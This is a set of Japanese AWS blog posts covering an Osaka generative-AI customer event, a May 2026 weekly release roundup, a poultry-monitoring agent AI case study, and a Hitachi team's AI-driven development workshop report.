エージェントという言葉は聞くものの、自社で何から始めればよいかわからない」「社内にデータは眠っているはずだが、どう活用すればよいかイメージが湧かない」…こうしたご意見は、昨年度私たちが全国のお客様と対話する中で、繰り返しいただいてきました。AWS としても、リモートでのお打ち合わせを重ねるたびに、各地域のお客様に十分な情報をお届けしきれていないと感じていたのが正直なところです。 このギャップを埋めるため、私たち自身が実際に各地へ足を運び、AWS からの情報提供に加えて、その地域で生成 AI を実際のビジネスに活かしているお客様の生の声を共有する場を作ろう、というのが本シリーズの出発点です。 イベントの流れ 当日はまず、私 田中から「AWS で一歩先へ！生成 AI 時代のビジネス変革の打ち手」と題して、生成 AI を取り巻く世界と日本の環境、AWS の生成 AI ポートフォリオ、そして AI を自社の業務に活かしたいお客様がどのように生成 AI で業務とビジネスを変えていけるかについて、 Amazon Quick  のデモを交えながらご紹介しました。 写真: 筆者（田中）によるオープニングセッション 続いて、AWS ファイナンス部門の Finance Manager 坂本 秀隆 が「AWS のファイナンスが語る！生成 AI で実現する業務効率化の実践とデモ」と題して登壇し、わずか 2 名のファイナンス担当が多くの問い合わせや報告業務にどう対応していったのか、具体的な実例をデモを交えて紹介しました。印象的だったのは、AWS 社内でも AI の浸透は一夜で起きたわけではなく、 小さく始めて使い心地を体感するところから少しずつ広がっていった 、というポイントです。 写真: AWS ファイナンス部門 坂本によるセッション AWS 側のセッションを通じて生成 AI 活用の全体像とイメージをつかんでいただいたあと、お客様事例のご紹介セッションへ進みました。ここからは、大阪・関西を拠点に、社内に眠る知的資産を生成 AI で価値に変える取り組みを進めてこられた 2 社の事例をご紹介します。 事例紹介：株式会社サクラクレパス様 〜AWS × Dify で、安全・低コストに始める全社生成 AI〜 事例紹介の 1 社目は 株式会社サクラクレパス 様です。1921 年創業、大阪市に本社を構え、グループ従業員数は約 1,600 名。文具・画材・事務用品の製造販売を主軸に、工業用・医療用・エレクトロニクス分野にも色材技術を応用されています。当日は統轄本部 情報システム部長の高橋 幹成 様に、全社生成 AI 活用の取り組みについてお話しいただきました。 サクラクレパス様社内では、2025 年 7 月までは社内での生成 AI 利用は原則禁止のルールがありました。これは、情報漏洩・著作権・品質・コンプライアンス・セキュリティ管理上のリスクが整理できていなかったためですが、テクノロジーの進化とともに、社内外で「AI を活用したい」という声が急速に広がったことで、利用制限から活用推進へと方針を転換 されました。2025 年 8 月より、安全な SaaS 型チャットの導入と社内ガイドラインの策定を進め、RAG による社内のナレッジ活用、業務フローの一部を生成 AI/AI エージェントに代行させるところまで、段階的に AI のビジネス活用を進められました。 これらのお取り組みのなかで特に試行錯誤された点として挙げられていたのが、生成 AI の「3 ヶ月ごとに常識が変わる」というスピード感に対応していくことです。「どのモデルが最適か判断できない」「技術的ハードルが高く専門エンジニアが必要」「高額な初期投資が必要で、数ヶ月後には状況が変わっている」──この 3 つの壁にどう向き合うかが論点でした。サクラクレパス様は、今後様々なモデルや用途が登場することも見据えてマルチ LLM を前提としたプラットフォームを構築すること、可能な限り自前で開発せずエージェント機能を活用すること、ノーコード・ローコード開発手法（ Dify ）で開発を民主化すること、という 3 つの方針を立てて、それらの課題に対応されました。 もともとセキュリティリスクへの懸念から生成AI活用を制限していた背景があったため、AI 基盤の選定には セキュリティの確保を最優先事項 として位置づけました。このことをふまえて、AI 基盤としてグローバル水準のコンプライアンス・データ管理を実現できる Amazon Bedrock を採用しました。また、専門的な知識がなくても AI アプリケーションが作成ができガバナンスにも強みがある Dify を選定し、Amazon Bedrock と組み合わせて社内のAI共通基盤とされました。Amazon Bedrock では、ユースケースに応じて複数のモデルプロバイダーが提供するモデルを切り替えて使用することができ、進化が早い領域においても様々な試行錯誤を低リスクで行える環境を実現されました。さらに、AWS の生成 AI 実用化推進プログラムを活用して、初期投資を抑えながら検証を行う「小さく始める」アプローチが実現できたとも語っています。 運用面では、 情シス主導 × ユーザー作成の役割分担 という考え方をもとに社内展開を進められました。お取り組みの工夫として、ツールを配るだけでなく経営層も現場も共通認識を持てるよう、生成 AI 勉強会を実施されたこと、少数精鋭の検証チームを作成し様々なユースケースに対して試行錯誤の検証を日々行っていること、ただ業務を AI に当てるだけでなく、既存の業務の見直しを並行して行い、①やめる業務、②プロセスを改善する業務、③デジタル化する業務、④自動化する業務 といった仕訳けをされるという工夫についてもお話いただきました。これによって、より注力すべき領域が明確になり、AIを取り入れた場合の業務のゴールも明確になる効果があります。また、このような仕訳のなかで、AIが得意な領域、工夫が必要な領域を見定めることにも繋がりました。 社内ルールの面でもいくつかの工夫をされました。ノーコードアプリは、誰でも AI アプリを作れる便利さ故に、管理されない「野良アプリ」の増殖が課題となりがちです。サクラクレパス様はこれに対し、ユーザーはテスト環境で自由に検証し、情シスが承認したアプリだけを本番環境に昇格させる運用ルールを確立し、自律と統制のバランスを実現されています。 サクラクレパス様のお取り組みはこれからも続いていきます。全社展開を見据えた Dify 基盤の Amazon S3 + Amazon Bedrock Knowledge Bases への移行、業務棚卸に基づく AI 適用業務の明確化、部門別パイロット導入から全社的な横展開、AI エージェントによる業務自動化など、やるべきことはまだまだあり、今後は「生成 AI を『特別なツール』から『日常の業務インフラ』として位置づけて活用を進めていきたい」というメッセージで締めくくられました。 「全社基盤の整備」というマクロな切り口で語ってくださったサクラクレパス様に続き、もう 1 社は「研究・開発現場に眠る専門知識」という切り口から生成 AI に向き合われた事例です。 事例紹介：メック株式会社様 〜ベテランの専門知識を AI エージェントに渡す、自前 Agentic RAG の挑戦〜 事例紹介の 2 社目は メック株式会社 様です。1969 年設立、兵庫県尼崎市に本社を構える東証プライム上場企業で、従業員数は単体 277 名・連結 480 名。プリント配線板（PCB）製造用の薬品、特に半導体パッケージ基板向け銅表面処理剤「MECetchBOND CZ シリーズ」を主力とされ、世界中のパッケージ基板メーカーに製品を提供されています。当日は情報システム部門 岸本 宗真 様に「AI Agent による検索システム」の開発ストーリーをお話しいただきました。 設立から 57 年近くが経つメック様には、これまでの数多くの受託案件対応の過程で蓄積された大量のデータが存在します。これらを活用して、「経験や力量の差によらず全員が高い水準で業務に取り組める状態にしたい」「複雑な専門領域でも直感的に情報にアクセスできるようにしたい」「報告書・特許・議事録・論文といった知的資産を戦略的な強みに変えたい」という観点から、AI の活用に取り組まれました。 岸本様がまず取り組まれたのは、チャットベースで過去の案件ナレッジを得られる Agentic RAG （RAG に AI エージェントの自律的判断を組み合わせ、必要に応じて複数のデータソースを動的に検索できる仕組み）アプリケーションの構築でした。しかし、実際に取り組んでみると、AI は研究データの取得のために複雑な手順が必要となってしまうケースがあり、取得がうまくいかないケースがありました。また、業界特有の言葉・社内の専門用語・プロジェクトの詳細といった、検索の前提となるような知識を AI が持っていないために、もっともらしい嘘（ハルシネーション）を返してしまうという状況も発生しました。 これを解決するために、 専門ナレッジを事前に AI に付与する アプローチを採用しました。文書検索の前処理として、プロジェクト単位で概要・進捗・時系列・関連ファイルをまとめた「スキル」と呼ばれる専門ナレッジを情報検索エージェントに渡し、「ベテラン社員の視点」で社内データを探せる状態を作りました。また、この仕組みに継続性を持たせるために、新しいデータが追加されるたびにナレッジが自動更新される情報更新エージェントも同時に作成しました。 図: メック株式会社 社内ナレッジを使いこなす Agentic RAG 構成 アーキテクチャは、 AWS Amplify と Amazon Bedrock AgentCore を使用し、AI アプリケーションをサーバーレスに稼働させることで費用や開発量を抑えたスモールスタートを実現しました。ベクトルデータベースには Amazon S3 Vectors を採用し、データベースレイヤーのコストも抑えることができました。データベースレイヤーのコストはこれまで検証の壁になりがちでしたが、Amazon S3 Vectors の活用が取り組みにおけるコストの障害を解消することに寄与したと語っていただきました。さらにAWS 製の AI エージェントライブラリ Strands Agents との相性の良さもポイントに挙げられました。 実際の導入にあたっての技術的な工夫として、AI Agentによる検索性を意識してメタデータを持たせる工夫をされました。これが、AI が効率的に文書検索を行うことに寄与しています。また、社内の専門用語やプロジェクトの詳細など、社内でも専門とするコンテキストが異なる場合があるため、まずはグループ単位で最適化し、少しずつスコープを拡大していくというスモールスタートのアプローチを取るなど運用面でも工夫をされました。 このような工夫を重ねられ、現在は特定の部門で本番導入をした直後でありながら、導入部門から非常に前向きなフィードバックが得られており、他グループへの展開、研修など社内の別ユースケースへの活用など様々な展開が見えている状態とのことです。数字に表れる成果はこれからですが、数字よりも大事な『次の取り組みにつながる変化』が既に社内で起きていると岸本様は語られました。一方、様々な社内特有の暗黙知をどうAIに渡していく（渡し続ける）こと、データフォーマットに関わる課題、多様化するユースケースに対応するため開発速度を上げていくことなど、現在進行中の課題感もあるとのことです。そのなかでも、開発速度に関しては AWS 主催のハッカソンイベントへの参加、コストに対しては Amazon S3 Vectors など新しい機能の積極的な活用、のように、ひとつひとつ課題に向き合って解決されていることをお話いただきました。 岸本様は最後に、「製造業でも自前でできる」「小さく早く始めて、大きく育てる」という 2 つのメッセージを伝えてくださいました。地方にいる製造業では、ドメイン知識が多くあるため、これらを積極的に活用できる基盤を整えることでAIを大きく活用できる可能性がある、生成 AI というテクノロジーは革命だが、取り組みは泥臭く地道に、一歩一歩進めていく部分も重要、とお話いただきました。 写真: メック株式会社 岸本様によるセッション パートナーセッション：クラスメソッド株式会社様 〜生成 AI 活用、次の一歩の具体像〜 お客様事例のあとには、AWS プレミアティアサービスパートナーである クラスメソッド株式会社 様のセッションです。「生成 AI 活用、次の一歩の具体像」と題して、技術ブログ「 DevelopersIO 」で多数の生成 AI 関連記事を執筆され、Amazon Bedrock AgentCore を特に得意とされているクラウド事業本部 コンサルティング部 AI ソリューションアーキテクトの神野 雄大 様より、これまでの支援実績に基づいたお話をいただきました。 自律型コーディング AI エージェントの登場によって、曖昧な指示でも高品質なアウトプットが出せるようになり、変化は急速に進んでいる一方で、PoC の先に進めない、作ったけれど運用が回らない、使われない・広がらない、という 3 つの局面で多くのお客様が悩まれている、といった現状についてお話しいただきました。これらの課題に対して、効果のある進め方の例として4つの実際のご支援プロジェクトの事例を紹介いただきました。 「スモールスタートして、成功事例を他部門へ展開する」「ガバナンスのための基盤を整える」「投資対効果を数値化する」「改善サイクルを積み重ねる」といった、生成 AI 活用のポイントとなる事例を、実際にクラスメソッド様がどう支援され、どう結果が得られたかについて詳しく紹介いただきました。 写真: クラスメソッド株式会社 神野様によるセッション まとめ 大阪でご登壇いただいた 2 社のお客様とパートナー様は、それぞれ異なるお取り組みでありながら、共通していたのは、小さく始め、地道で時には泥臭い改善のサイクルを積み上げていく という姿勢だと考えます。AI 活用は決してツール導入だけでは終わりません。スモールスタートでの導入、成功体験からはじめ、そこで得られたデータの課題、運用の課題、リテラシーの課題は、現場の意見も取り入れながら改善サイクルを回しておられたと思います。 セッション後の懇親会では、セキュリティの考え方、データ整備の進め方、社内への AI 浸透の仕方など、参加者同士・登壇者・AWS チームとの間で活発な議論が交わされていました。サービスや技術そのものだけでなく、こうした実際の取り組みの事例や知見を全国各地様々なお客様に対して発信していくことは、AWS の大切なミッションの一つだと考えています。 このブログシリーズでは、本イベントの開催レポートを各拠点の開催順にお届けしていきます。今回お届けした大阪・初回に続き、次回は翌日開催の大阪・AI で顧客を支援する IT 企業編を予定していますので、どうぞお楽しみに。 そして読者の皆様へ──もし本ブログを読んで「うちの会社の取り組みもぜひ発信したい」「AWS と一緒に自社の眠るデータを価値に変えたい」「AI で日本をもっと元気にしていきたい」と感じていただけたなら、ぜひ担当営業、あるいはお近くの AWS メンバーまでお気軽にお声がけください。 関連ブログ メック株式会社の事例：Amazon Bedrock AgentCore で研究業務を効率化 – AI エージェントによる情報検索と更新の自動化 執筆者 Amazon Web Services Japan 合同会社 ソリューションアーキテクト　田中 里絵

私にとって 2026 年 5 月 4 日週、最もエキサイティングだったニュースは、 Amazon Bedrock AgentCore が最初のマネージド支払い機能をプレビュー したことです。これにより、AI エージェントが API、MCP サーバー、ウェブコンテンツ、その他のエージェントに自律的にアクセスして支払いを行うことが可能になります。Coinbase や Stripe と提携して構築されているため、請求、認証情報管理、コンプライアンスを実現するためにカスタマイズしたシステムを構築するという、差別化されていない面倒な作業が不要になります。 Coinbase CDP ウォレットまたは Stripe Privy ウォレットを支払い接続として接続し、セッションレベルの支出制限を設定すると、エージェントは実行中に自律的に取引を行います。私が最もワクワクしているのは、AgentCore 決済で何ができるかということです。例えば、リアルタイムの市場データに対してその場で支払いができるリサーチエージェントや、タスクの途中で有料 API を呼び出すコーディングエージェントなどです。 詳細については ブログ投稿 にアクセスし、 ドキュメント を使用してさらに詳しく調べた上で、 AgentCore CLI の使用を開始してください。 2026 年 5 月 4 日週のリリース 2026 年 5 月 4 日週のリリースのうち、私が注目したリリースをいくつかご紹介します。 Agent Toolkit for AWS – AI コーディングエージェントがエラーを減らし、トークンコストを削減して、エンタープライズグレードのセキュリティコントロールを実現しながら AWS で構築するのに役立つ、本番環境ですぐに利用できるツールとガイダンスのスイートです。追加料金なしでご利用いただけます。Agent Toolkit for AWS は、 AWS ラボ で利用可能な MCP サーバー、プラグイン、スキルの後継です。使用を開始するには クイックスタートガイド にアクセスするか、 GitHub で利用できるスキルとプラグインをご参照ください。 AWS MCP サーバーの一般提供開始 – 少数の固定ツールセットを通じて、すべての AWS サービスに対するセキュアかつ認証済みのアクセスを AI エージェントやコーディングアシスタントに付与する、マネージドリモートモデルコンテキストプロトコル (MCP) をご使用いただけます。これは Agent Toolkit for AWS の一部です。詳細については、 Seb Stormacq のブログ投稿 をご覧ください。 AI エージェント向け Amazon WorkSpaces (プレビュー) – AI エージェントを使用して、マネージド WorkSpaces 環境からデスクトップアプリケーションに安全にアクセスして操作できます。この機能により、組織はエンタープライズグレードのガバナンスとコンプライアンスを完全に維持しながら、日常のワークフローを大規模に自動化できるようになります。詳細については、 Micah Walter のブログ投稿 をご覧ください。 Amazon EC2 M8idn/M8idb インスタンスと R8idn/R8idb インスタンス – これらのインスタンスは、AWS および最新の第 6 世代 AWS Nitro Card でのみ利用可能なカスタムの第 6 世代 Intel Xeon Scalable プロセッサを搭載しています。前世代のインスタンスと比較して、これらのインスタンスは vCPU あたりのコンピューティングパフォーマンスを最大 43% 向上させます。M8idn/R8idn インスタンスは最大 600 Gbps のネットワーク帯域幅を提供し、M8idb/R8idb インスタンスは最大 300 Gbps の EBS 帯域幅を提供します。 AWS のお知らせに関する詳しいリストについては、「 AWS の最新情報 」ページをご覧ください。 その他のアップデート 皆さんの関心を引くと思われるその他のニュースをいくつかご紹介します。 2 周年を迎える Valkey – Valkeyは、オープンでコミュニティ主導型のテクノロジーが、単一ベンダーのどのモデルよりもイノベーションが早く、拡張性が高く、より多くの価値をもたらすことを証明しています。Valkey では Docker のプルが 1 億回 (前年比で 17 倍に増加) を超え、225 人以上のコントリビューターが 1,500 件を超えるプルリクエストを提出しました。これは、同時期の Redis の開発ペースの約 2 倍です。 Amazon ElastiCache では最新の Valkey 9.0 を使用することもできます。 SQL を使用した数十億スケールのベクトルのクエリ – 標準 SQL を使用して Amazon Aurora PostgreSQL-Compatible Edition の Amazon S3 Vectors をクエリする方法と、ベクトルの類似性の結果を 1 つのクエリでリレーショナルフィルターと組み合わせる方法を学ぶことができます。例えば、意味論的に最も類似した製品を見つけてから、1 つの SQL ステートメントにおいて価格、在庫状況、またはテナントでフィルタリングする方法などです。 AWS DevOps エージェントを使用したエンドツーエンドのエージェンティック SRE の構築 – Amazon CloudWatch、Splunk 、GitHub、Slack とシームレスに統合して、調査範囲を定義する DevOps エージェントスペースを設定する方法を学びましょう。また、Webhook を介して自動調査をトリガーする方法、緩和計画を作成する方法、エージェント対応仕様を Kiro などのコーディングエージェントに渡して実装する方法も学ぶことができます。 AWS ブログ投稿の全リストについては、必ず AWS ブログ ページをご覧ください。 AWS の詳細について学び、今後予定されている AWS 主催の対面イベントやバーチャルイベント 、 スタートアップイベント 、 開発者向けイベント 、 AWS Summits や AWS Community Days を閲覧して、ご参加ください。 AWS Builder Center に参加して、ビルダーとつながり、ソリューションを共有し、開発をサポートするコンテンツにアクセスしましょう。 2026 年 5 月 11 日週のニュースは以上です。2026 年 5 月 18 日週の Weekly Roundup もお楽しみに! – Channy 原文は こちら です。

本ブログは株式会社アクト・ノード様とAmazon Web Services Japan 合同会社が共同で執筆いたしました。 みなさん、こんにちは。AWS アカウントマネージャーの池田です。 日本の一次産業では、深刻な人手不足と熟練知識の属人化が大きな課題となっています。日本の一次産業従事者は2005年比で2025年には半減し、今後20年で更に4分の1になると推計されています。 株式会社アクト・ノード様は農業・畜産・水産養殖の現場のDXを推進するサービス「 ACT.app 」を提供されております。（ AWS導入事例 ） 農業・畜産・水産養殖の現場では、環境や生育状態の継続的な監視と異常時の早期対応が必須ですが、熟練者による現地見回りに依存しており、1日1～3回が限界です。そこで、生産者が自然言語で養鶏の様子を相談すると、AIが見守り要件を理解しカメラ画像を自律分析する「見守りエージェントAI」を開発されました。 本記事では、 Amazon Bedrock と Amazon Bedrock Agent Core , Amazon Nova を活用した、一次産業の根本的な課題解決への取り組みについてご紹介します。 お客様の状況と経緯 株式会社アクト・ノード様は、農業・畜産・水産養殖の現場のDXを推進するサービス「ACT.app」 を提供されており、以下の課題に直面されていました。 業界を取り巻くビジネス上の課題 日本の一次産業従事者は2005年比で2025年には半減し、今後さらに減少速度が加速していく見通しです。現場では熟練者が自分の目で見回りを行って異常を判断していますが、物理的に 1 日 1～3 回の見回りが限界で、夜間に異変が起きてしまうと翌朝まで気づけません。 しかも、見守りたい対象は現場ごとにまったく異なります。養鶏場では鶏の暑熱反応、果樹園では開花状況、水産養殖では魚の水面呼吸など。こうした多種多様に分布するニーズのひとつひとつに合わせた形で専用の画像認識 AI やセンサーを開発・導入していては、コストが合いません。 もう一つの根深い問題が、熟練知識の属人化です。それぞれの生き物について、どんな観点から何を見れば良いか、という知見はベテランの頭の中にしかない。言語化するのが難しく、世代交代とともに失われる知識も多くあります。 システム上の課題 また、前述のビジネス上の課題に加え、システム的な課題もあります。既存の定点カメラは単純な記録にとどまり、異常検知は結局、人間が映像を目視して判断するしかありませんでした。つまり、システム化を行い、カメラで映像を確認できるようにしたとしても、経験や知識が豊富な人間が判断する、という状況は変わらなかったわけです。 これらの課題に対してアクト・ノード様が目指したのは、生成 AI を利用した汎用的な見守りプラットフォームへの転換でした。下図は、従来の見守り業務（As-is）と、見守りエージェントAI導入後（To Be）の比較です。 ソリューション / 構成内容 「見守りエージェントAI」は、大きく3つのステップで動作します。① 生産者がAIにチャットで相談し「見守りリクエスト」を生成 → ② 現場のカメラから画像を取得 → ③ AIが「見守りリクエスト」に従い画像を分析し、異常時にアラート通知。この一連の流れを、2つのAIエージェントが連携して担います。 ステップ①：見守り相談AI – エージェントAIとチャットで会話し「見守りリクエスト」を生成 生産者がチャットで「鶏が暑がって口をあけていないか見守ってほしい」と入力するところから始まります。AIが対話を通じて要件を掘り下げ、見守りの対象、検知すべき状態、アラート条件を整理。最終的に「見守りリクエスト」という構造化データ（JSON + 参考画像）を自動生成します。 ここで重要なのが、従来の画像認識 AI とのアプローチの違いです。従来は認識したい対象ごとに大量の学習データを用意する必要がありました。本システムでは、参考画像を数枚と説明文を組み合わせる Few-shot examples の手法を採用。たとえば、鶏が暑さを感じたときに口を大きく開けて呼吸する「パンティング」という行動を、参考画像と説明文を「お手本」として AI に理解させ、検出できるようにしています。 基盤モデルとして Amazon Bedrock 上の Anthropic Claude を採用。Amazon Bedrock Agent Core の会話メモリ機能により、セッションをまたいだ文脈の維持にも対応しました。 ステップ②③：見守りAI — 見守りAI – Webカメラの画像を定期的に取得し自律分析する 「見守りリクエスト」が作成されると、見守り AI が稼働を開始します。現場に設置済みの定点カメラから画像を取得し（既存設備をそのまま活用）、リクエストの内容に基づいて自律的に分析。30 分に 1 回、1 日 48 回の画像分析が可能で、従来の人手による 1 日 1 回の見回りとは桁違いの監視頻度です。 検出結果は JSON 形式の構造化データとして記録され、異常時にはアラートを自動通知します。蓄積された見守り結果は生育履歴データとなり、環境データや作業記録と組み合わせた分析にも活用できます。 導入効果 「見守りエージェントAI」の導入により、以下の効果が実現されています。既に養鶏事業者の青木ブロイラー様の現場で実証実験をすすめています。 見守り頻度：1日1回 → 最大48回 人手による見回りでは物理的に1日最大3回が限界だった監視を、AI が 30 分間隔で代行。24 時間 365 日、夜間や早朝も含めた常時監視が可能になりました。 暗黙知のデータ化（言語化） 注目すべき副次効果もありました。生産者がチャット AI に見守り内容を伝える過程で、「経験と勘」にとどまっていた暗黙知が「見守りリクエスト」として言語化・構造化されていくのです。効果の高い見守りパターンを生産者間で共有する仕組みも計画中で、属人的だった生産技術の継承を加速するプラットフォームへの発展が見込まれます。 検出精度の現状 養鶏の暑熱反応検知シナリオでは、AIによる自律的な見守りが実用レベルで機能することを確認しました。ユーザーの目視判断と比較して検出精度にはまだ改善の余地がありますが、現場から「継続利用する価値がある」との評価を得ています。Few-shot examples の追加やモデル改善により、精度は着実に上がってきています。 今後の展望 現在は養鶏が主な実証対象ですが、アクト・ノード様はすでに次の展開を進めており、「見守りエージェントAI」のさらなる機能拡張を計画されています。 対応分野の拡大 柑橘類（みかん）の開花状況監視など、養鶏以外の農業分野への適用を検討中です。農林水産省のスマート農業実証プロジェクトにも認定されており、一次産業全体への横展開が視野に入っています。 見守りリクエストの共有 ある生産者が作った効果的な見守りパターンを、別の生産者がそのまま使える仕組みです。前述の「暗黙知の見える化」で生まれた見守りリクエストが、ベストプラクティスとして流通するイメージです。 マルチデータ対応 カメラ画像だけでなく、環境センサーやアプリの作業記録など、複数のデータソースを組み合わせた見守りへと拡張する計画もあります。画像で「鶏の様子がおかしい」と検知し、同時に温度センサーで「鶏舎内が xx℃ を超えている」と確認できれば、判断の精度は格段に上がります。 まとめ 本企業は日本の一次産業を取り巻く課題を、AI エージェントを活用して解決する好例です。 アクト・ノード様の新技術への積極的な姿勢と、AWS が提供する使いやすい生成 AI サービスの組み合わせが、革新的なソリューション開発につながりました。 アクト・ノード様による「見守りエージェント AI」は、一次産業の深刻な人手不足を技術で解決し、食の安定確保に貢献することが期待されています。 代表取締役百津様からのコメント 「一次産業の現場では、多様な見守りニーズがロングテールに分布しており、従来の専用AI開発では対応しきれませんでした。Amazon Bedrock により、生産者の自然言語での要件定義を理解し、自律的に見守りを実施するエージェントAIを実現できました。生成AIの力で、一次産業の人手不足と熟練知識の属人化という根本的な課題を解決できることを実証できました。」 本取り組みは、経済産業省・NEDO（国立研究開発法人新エネルギー・産業技術総合開発機構）主催の「GENIAC PRIZE」にもエントリーしており、国産基盤モデルを活用した生成AIの革新的な活用事例としても取り上げられています。また、農林水産省のスマート農業実証プロジェクトにも認定されており、国を挙げた一次産業のDX推進において重要な役割を果たしています。 アカウントマネージャー 池田 華子 ソリューションアーキテクト 小林 大樹

2026年1月22日〜23日、AWS Loft Tokyo にて11社87名が参加した「合同 AI-DLC Unicorn Gym」を開催しました。AI駆動開発ライフサイクル（AI-DLC）による開発プロセスの変革を体験いただくイベントです。イベント全体の詳細は「 11社合同 AI-DLC Unicorn Gym で体験した開発のパラダイムシフト 」をご覧ください。 本記事では、参加企業の一社である 株式会社日立産業制御ソリューションズ 業務サポート本部デジタルイノベーションセンタ所属の竹地氏に、現場のエンジニアとしてAI-DLCを体験して感じた手応えを寄稿いただきました。 以下、株式会社日立産業制御ソリューションズ 竹地氏による寄稿です。 生成AIを開発に導入したものの、「思ったようにいかない」「自分で手を動かしたほうが早い」と悩む現場は多いのではないでしょうか。 株式会社日立産業制御ソリューションズの竹地です。当社は日立グループの一員として、製造業・社会インフラ向けのITソリューションや制御システムの開発を手がけています。私たちの開発チームも、まさに同様の課題を感じていました。 本記事について打ち合わせる早川（左）と竹地氏（右） 今回、2026年1月22日〜23日にAWS Loft Tokyoで開催された11社合同の「AI-DLC Unicorn Gym」に参加させていただきました。ここでは、要件定義（Inception）から設計・実装・デプロイ（Construction）に至る全工程をAI主導で進める開発プロセスを体験しました。従来なら3人月以上かかる規模の開発が、わずか2日間で形になるという成果を得ました。 本稿では、私たちが AI-DLC（AI駆動開発ライフサイクル） の実践を通じて得た「リアルな手応え」と、これからのエンジニアに求められる「役割の変化」について共有します。 参加の背景 当社ではさまざまな生成AIを導入してきましたが、「期待通りに動かない」「信用できない」という声から、活用は局所的な補助に留まっていました。一方、AI技術の急速な進化を踏まえると、開発プロセスそのものを「AI前提」にアップデートする必要があります。 今回の Unicorn Gym では、AIコーディングエージェント「 Kiro 」を開発の主体に据えるAI-DLCを体験し、その実効性を検証することを目的としました。 実施内容 テーマ：分散したIT資産・セキュリティデータの統合基盤構築 当社内にはIT資産、セキュリティ、プロジェクト収支など、形式も管理場所も異なるデータが複数のシステムに分散しており、必要な情報の抽出・結合に膨大な工数がかかっていました。社内で見積もったところ、この統合基盤を従来の手法で構築した場合は約530時間（3人月相当）の規模です。今回の Unicorn Gym では、この「IT資産・セキュリティデータの統合活用基盤」を2日間で構築できるか挑戦しました。 Unicorn Gym 当日の様子 1日目の Inception（構想）では、Kiro との対話で曖昧なビジネス意図を詳細要件に変換しました。人間がレビュー・承認し、AIが仕様書に即時反映するサイクルを繰り返します。2日目の Construction（構築）では、前日の要件をもとに Kiro が設計・コードを提案し、モブコンストラクション形式で集中的に実装を進めました。 AI-DLCでは、エンジニアと業務部門の担当者（今回は資産管理の担当者や情報セキュリティの責任者）が肩を並べて作業し、AIの提案に対してその場でフィードバックを返します。「この項目は管理対象に含めるべきか」「このチェックロジックは現場の運用に合っているか」といった判断を、業務を熟知した担当者がその場で下せるため、数分後には修正された仕様書やコードが提示されます。この即時のフィードバックループが、AI-DLCの大きな強みです。 成果物と工数比較 開発工程 AI-DLCでの成果物 手動開発の想定工数 要件定義・設計 ユースケース・ストーリー8本、API設計14本 120〜160時間 バックエンド Lambda 18関数（約2,600行）、DynamoDB 9テーブル 160〜200時間 フロントエンド ダッシュボードUI、RBAC（ロールベースアクセス制御）、CSV出力 120〜160時間 インフラ・CI/CD CDK 2系統、IAM設定、CI/CDパイプライン 60〜80時間 合計 約70時間（7名×実働10時間） 約530時間（3人月相当） 2日間で構築したIT資産統合基盤のメインページ 2日間で構築したIT資産統合基盤のチェックページ ただし、この成果には業務担当者が同席し即時に意思決定できる体制、業務割り込みのない集中環境、プロトタイプに特化したスコープ（結合テストやセキュリティ審査は未実施）という条件がありました。それでも、設計・実装からAWS環境へのデプロイまでを2日で形にできた点は、AI-DLCの可能性を強く実感する結果でした。 学び ① 設計の「ちょうどいい」を見極めるのは人間 Kiro はコード生成や設計提案において精度の高い回答を返してくれますが、時にプロジェクトの規模以上に厳格な構成を提案することがあります。今回も、小規模なバッチ処理に対して40ファイル以上のDDD（ドメイン駆動設計）構成が提示された場面がありました。「この規模であればシンプルな構成で十分」と判断し、方針を修正したのは人間です。AIが高品質な設計パターンを提案できるからこそ、それをプロジェクトの実情に合わせて取捨選択する判断力がより重要になります。 ② コードの修正もAIに任せる AIがミスをしたとき、自分でコードを直したくなります。しかし人間が直接手を加えると、AIが保持するコンテキストと実態に乖離が生じ、以降の提案精度が下がります。人間が修正した場合はその内容をAIに伝えることで乖離を防ぐこともできますが、基本的には修正もAIとの対話を通じて行い、「AIが認識しているコードが正」というルールを徹底することが、AI駆動開発をスムーズに回すための鍵でした。 ③ 意思決定と言語化に集中する開発手法 AIは数分でレビュー結果を反映し、次の成果物を提出してきます。人間はコードを書く代わりに、レビューと意思決定を高速に繰り返します。また、AIは暗黙の前提や文脈を汲み取ることができないため、仕様や意図を正確に言語化する力が求められます。コーディングから解放された分、ビジネス価値の判断と要件の言語化に集中できる点が、AI-DLCの大きな魅力です。 これからの展望 私たちが得た最大の収穫は、AI-DLCが単に時短のための開発手法ではないという点です。開発の密度とフィードバックの速度を高めることで、結果として開発全体が加速される ─ この体験は、従来の効率化とは質の異なるものでした。コードを書く作業はAIに委ね、人間はレビュー・承認に専念する。AIが一般的な設計パターンやベストプラクティスを瞬時に提示するからこそ、自社固有の業務制約や設計判断を見抜く技術力がより重要になります。 当社では今回の成果を踏まえ、AI-DLCのワーキンググループを発足する予定です。サンドボックス環境の整備やAIエージェントを使いこなすためのルール（Steering / Skills）の構築を進め、社内の開発プロセスへの適用を本格的に推進していきます。 （寄稿ここまで） AI-DLC に興味を持たれた方は、 aidlc-workflows（GitHub） をご覧ください。Kiro を使ってAI-DLCを始めるためのワークフローやテンプレートを公開しています。 Unicorn Gym 参加メンバー（日立産業制御ソリューションズ、AWS） 著者 竹地 航太郎 株式会社日立産業制御ソリューションズ 業務サポート本部デジタルイノベーションセンタ所属。クラウドや生成AIを活用したソフトウエア生産技術の社内展開を担当。AI‑DLC Unicorn Gymへの参加をきっかけに、AI駆動開発を取り入れた社内プロジェクトを推進中。 早川 康平 アマゾン ウェブ サービス ジャパン テクニカルカスタマーソリューションズ マネージャー。金融勘定系システムのPM、Webエンジニア、SaaSプロダクトマネージャー、ソリューションアーキテクトを経て現職。幅広い経験を活かし、日立グループ専任のCSMとして、SaaSアプリケーション開発やAI活用を含むクラウド活用と開発プロセスの変革を支援している。宮城県仙台市出身。

